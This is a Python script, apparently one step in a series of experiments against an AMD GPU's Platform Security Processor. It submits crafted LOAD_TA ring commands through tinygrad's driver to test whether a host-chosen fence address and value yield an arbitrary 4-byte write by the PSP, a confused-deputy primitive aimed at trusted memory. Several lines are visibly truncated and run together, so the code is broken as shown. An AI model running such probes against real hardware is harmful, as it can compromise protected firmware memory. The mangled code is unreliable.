#!/usr/bin/env python3 """Does the PSP actually WRITE the fence value to a host-chosen address? Pass 118 showed a command with fence_addr inside the TMR still returns 0x0. Before claiming a confused-deputy write, verify the mechanics on a target we CAN read: point fence_addr at a scratch buffer pre-filled with a known pattern and see whether the fence value appears there. If it does, the host controls both the destination address (fence_addr) and the value (fence_value) of a 4-byte write performed by the PSP. """ import ctypes, glob, struct, sys, time sys.path.insert(0,'/root/psp/hw') from tinygrad import Device from tinygrad.helpers import wait_cond import tinygrad.runtime.autogen.am.am as am adev=Device["AMD"].iface.dev_impl; psp=adev.psp def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) frame_sz=ctypes.sizeof(am.struct_psp_gfx_rb_frame); step=frame_sz//4 PAT=0xEEEEEEEE scratch,smc=alloc(0x1000) blob=open(glob.glob('/root/psp/contall/ta_42-0-0-6_1c874c3c*')[0],'rb').read() ap_,amc=alloc(0x80000); cp,cmc=alloc(0x8000) n=(len(blob)+3)&~3 adev.vram.view(ap_,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp() def mk(): c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(blob) t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=0x4000 return c def go(fence_mc, fence_val, tag): adev.vram.view(scratch,0x1000)[:]=bytes(struct.pack('>32, fence_addr_lo=fence_mc&0xFFFFFFFF, fence_addr_hi=fence_mc>>32) c=mk() adev.vram.view(psp.cmd_paddr, ctypes.sizeof(c))[:]=memoryview(c).cast('B') adev.vram.view(psp.ring_paddr+prev*4, ctypes.sizeof(msg))[:]=memoryview(msg).cast('B') adev.reg(f"{psp.reg_pref}_67").write((prev+step)%wmax) time.sleep(1.0) adev.gmc.flush_hdp() out=bytes(adev.vram.view(scratch,0x40)[:]) vals=[struct.unpack_from(' our scratch buffer')